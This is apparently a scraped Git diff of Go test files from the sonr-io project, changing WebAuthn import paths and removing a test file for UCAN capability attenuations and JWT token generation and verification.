||||
// min returns the minimum of two integers
|
||||
func min(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
// TestSuite runner
|
||||
func TestUCANWorkflowIntegration(t *testing.T) {
|
||||
suite.Run(t, new(UCANWorkflowTestSuite))
|
||||
}
|
||||
@@ -10,8 +10,8 @@ import (
|
||||
"github.com/stretchr/testify/require"
|
||||
"github.com/stretchr/testify/suite"
|
||||
|
||||
"github.com/sonr-io/sonr/types/webauthn"
|
||||
"github.com/sonr-io/sonr/types/webauthn/webauthncose"
|
||||
"github.com/sonr-io/common/webauthn"
|
||||
"github.com/sonr-io/common/webauthn/webauthncose"
|
||||
)
|
||||
|
||||
// WebAuthnFlowTestSuite tests the complete WebAuthn registration and authentication flow
|
||||
|
||||
@@ -1,221 +0,0 @@
|
||||
package test
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/sonr-io/sonr/crypto/ucan"
|
||||
"github.com/stretchr/testify/assert"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestModuleSpecificUCANCapabilities(t *testing.T) {
|
||||
t.Run("TestDIDCapabilityCreation", func(t *testing.T) {
|
||||
// Create DID-specific attenuation
|
||||
didAttenuation := ucan.CreateDIDAttenuation(
|
||||
[]string{"create", "update"},
|
||||
"*",
|
||||
[]string{"owner"},
|
||||
)
|
||||
|
||||
assert.Equal(t, "did:*", didAttenuation.Resource.GetURI())
|
||||
|
||||
didCap, ok := didAttenuation.Capability.(*ucan.DIDCapability)
|
||||
require.True(t, ok, "Expected DIDCapability")
|
||||
assert.Contains(t, didCap.Actions, "create")
|
||||
assert.Contains(t, didCap.Actions, "update")
|
||||
assert.Contains(t, didCap.Caveats, "owner")
|
||||
})
|
||||
|
||||
t.Run("TestDWNCapabilityCreation", func(t *testing.T) {
|
||||
// Create DWN-specific attenuation
|
||||
dwnAttenuation := ucan.CreateDWNAttenuation(
|
||||
[]string{"create", "read", "update", "delete"},
|
||||
"personal/*",
|
||||
[]string{"owner"},
|
||||
)
|
||||
|
||||
assert.Equal(t, "dwn:records/personal/*", dwnAttenuation.Resource.GetURI())
|
||||
|
||||
dwnCap, ok := dwnAttenuation.Capability.(*ucan.DWNCapability)
|
||||
require.True(t, ok, "Expected DWNCapability")
|
||||
assert.Contains(t, dwnCap.Actions, "create")
|
||||
assert.Contains(t, dwnCap.Actions, "read")
|
||||
assert.Contains(t, dwnCap.Caveats, "owner")
|
||||
})
|
||||
|
||||
t.Run("TestDEXCapabilityCreation", func(t *testing.T) {
|
||||
// Create DEX-specific attenuation
|
||||
dexAttenuation := ucan.CreateDEXAttenuation(
|
||||
[]string{"swap", "provide-liquidity"},
|
||||
"snr/usd",
|
||||
[]string{"max-amount"},
|
||||
"1000snr",
|
||||
)
|
||||
|
||||
assert.Equal(t, "dex:pool/snr/usd", dexAttenuation.Resource.GetURI())
|
||||
|
||||
dexCap, ok := dexAttenuation.Capability.(*ucan.DEXCapability)
|
||||
require.True(t, ok, "Expected DEXCapability")
|
||||
assert.Contains(t, dexCap.Actions, "swap")
|
||||
assert.Contains(t, dexCap.Actions, "provide-liquidity")
|
||||
assert.Contains(t, dexCap.Caveats, "max-amount")
|
||||
assert.Equal(t, "1000snr", dexCap.MaxAmount)
|
||||
})
|
||||
|
||||
t.Run("TestCrossModuleCapability", func(t *testing.T) {
|
||||
// Create cross-module capability
|
||||
crossCap := &ucan.CrossModuleCapability{
|
||||
Modules: map[string]ucan.Capability{
|
||||
"did": &ucan.DIDCapability{
|
||||
Actions: []string{"create", "update"},
|
||||
},
|
||||
"dwn": &ucan.DWNCapability{
|
||||
Actions: []string{"create", "read"},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
actions := crossCap.GetActions()
|
||||
assert.Contains(t, actions, "create")
|
||||
assert.Contains(t, actions, "update")
|
||||
assert.Contains(t, actions, "read")
|
||||
|
||||
assert.True(t, crossCap.Grants([]string{"create"}))
|
||||
assert.True(t, crossCap.Grants([]string{"update", "read"}))
|
||||
assert.False(t, crossCap.Grants([]string{"delete"}))
|
||||
})
|
||||
|
||||
t.Run("TestGaslessCapability", func(t *testing.T) {
|
||||
// Create gasless capability wrapper
|
||||
baseCap := &ucan.DIDCapability{
|
||||
Actions: []string{"create"},
|
||||
}
|
||||
|
||||
gaslessCap := &ucan.GaslessCapability{
|
||||
Capability: baseCap,
|
||||
AllowGasless: true,
|
||||
GasLimit: 100000,
|
||||
}
|
||||
|
||||
assert.True(t, gaslessCap.SupportsGasless())
|
||||
assert.Equal(t, uint64(100000), gaslessCap.GetGasLimit())
|
||||
assert.True(t, gaslessCap.Grants([]string{"create"}))
|
||||
})
|
||||
}
|
||||
|
||||
func TestModuleJWTTokenGeneration(t *testing.T) {
|
||||
t.Run("TestGenerateAndVerifyModuleToken", func(t *testing.T) {
|
||||
// Create attenuations for different modules
|
||||
attenuations := []ucan.Attenuation{
|
||||
ucan.CreateDIDAttenuation([]string{"create", "update"}, "*", []string{"owner"}),
|
||||
ucan.CreateDWNAttenuation([]string{"create", "read"}, "personal/*", []string{"owner"}),
|
||||
}
|
||||
|
||||
issuer := "did:key:alice"
|
||||
audience := "did:key:bob"
|
||||
|
||||
// Generate token
|
||||
tokenString, err := ucan.GenerateModuleJWTToken(
|
||||
attenuations,
|
||||
issuer,
|
||||
audience,
|
||||
time.Hour,
|
||||
)
|
||||
require.NoError(t, err)
|
||||
assert.NotEmpty(t, tokenString)
|
||||
|
||||
// Verify token
|
||||
token, err := ucan.VerifyModuleJWTToken(tokenString, issuer, audience)
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, issuer, token.Issuer)
|
||||
assert.Equal(t, audience, token.Audience)
|
||||
assert.Len(t, token.Attenuations, 2)
|
||||
|
||||
// Check that attenuations are properly parsed
|
||||
var didAtt, dwnAtt *ucan.Attenuation
|
||||
for _, att := range token.Attenuations {
|
||||
switch att.Resource.GetScheme() {
|
||||
case "did":
|
||||
didAtt = &att
|
||||
case "dwn":
|
||||
dwnAtt = &att
|
||||
}
|
||||
}
|
||||
|
||||
require.NotNil(t, didAtt, "DID attenuation not found")
|
||||
require.NotNil(t, dwnAtt, "DWN attenuation not found")
|
||||
|
||||
didCap, ok := didAtt.Capability.(*ucan.DIDCapability)
|
||||
assert.True(t, ok)
|
||||
assert.Contains(t, didCap.Actions, "create")
|
||||
assert.Contains(t, didCap.Actions, "update")
|
||||
|
||||
dwnCap, ok := dwnAtt.Capability.(*ucan.DWNCapability)
|
||||
assert.True(t, ok)
|
||||
assert.Contains(t, dwnCap.Actions, "create")
|
||||
assert.Contains(t, dwnCap.Actions, "read")
|
||||
})
|
||||
}
|
||||
|
||||
func TestModuleCapabilityTemplates(t *testing.T) {
|
||||
t.Run("TestDIDTemplate", func(t *testing.T) {
|
||||
template := ucan.StandardDIDTemplate()
|
||||
|
||||
// Test valid DID actions
|
||||
didAtt := ucan.CreateDIDAttenuation([]string{"create", "update"}, "*", nil)
|
||||
err := template.ValidateAttenuation(didAtt)
|
||||
assert.NoError(t, err)
|
||||
|
||||
// Test invalid DID action
|
||||
invalidAtt := ucan.CreateDIDAttenuation([]string{"invalid-action"}, "*", nil)
|
||||
err = template.ValidateAttenuation(invalidAtt)
|
||||
assert.Error(t, err)
|
||||
})
|
||||
|
||||
t.Run("TestDWNTemplate", func(t *testing.T) {
|
||||
template := ucan.StandardDWNTemplate()
|
||||
|
||||
// Test valid DWN actions
|
||||
dwnAtt := ucan.CreateDWNAttenuation([]string{"create", "read"}, "*", nil)
|
||||
err := template.ValidateAttenuation(dwnAtt)
|
||||
assert.NoError(t, err)
|
||||
})
|
||||
|
||||
t.Run("TestDEXTemplate", func(t *testing.T) {
|
||||
template := ucan.StandardDEXTemplate()
|
||||
|
||||
// Test valid DEX actions
|
||||
dexAtt := ucan.CreateDEXAttenuation([]string{"swap", "provide-liquidity"}, "*", nil, "")
|
||||
err := template.ValidateAttenuation(dexAtt)
|
||||
assert.NoError(t, err)
|
||||
})
|
||||
}
|
||||
|
||||
func TestEnhancedVerification(t *testing.T) {
|
||||
t.Run("TestVerifierWithModuleCapabilities", func(t *testing.T) {
|
||||
// Create a test token
|
||||
attenuations := []ucan.Attenuation{
|
||||
ucan.CreateDIDAttenuation([]string{"create"}, "*", []string{"owner"}),
|
||||
}
|
||||
|
||||
tokenString, err := ucan.GenerateModuleJWTToken(
|
||||
attenuations,
|
||||
"did:key:alice",
|
||||
"did:key:bob",
|
||||
time.Hour,
|
||||
)
|
||||
require.NoError(t, err)
|
||||
|
||||
// Verify capability - this would normally require proper DID resolution
|
||||
// For now, just test that the parsing works
|
||||
token, err := ucan.VerifyModuleJWTToken(tokenString, "did:key:alice", "did:key:bob")
|
||||
require.NoError(t, err)
|
||||
assert.Len(t, token.Attenuations, 1)
|
||||
|
||||
didCap, ok := token.Attenuations[0].Capability.(*ucan.DIDCapability)
|
||||
assert.True(t, ok)
|
||||
assert.Contains(t, didCap.Actions, "create")
|
||||
assert.Contains(t, didCap.Caveats, "owner")
|
||||
})
|
||||
}
|
||||
Reference in New Issue
Block a user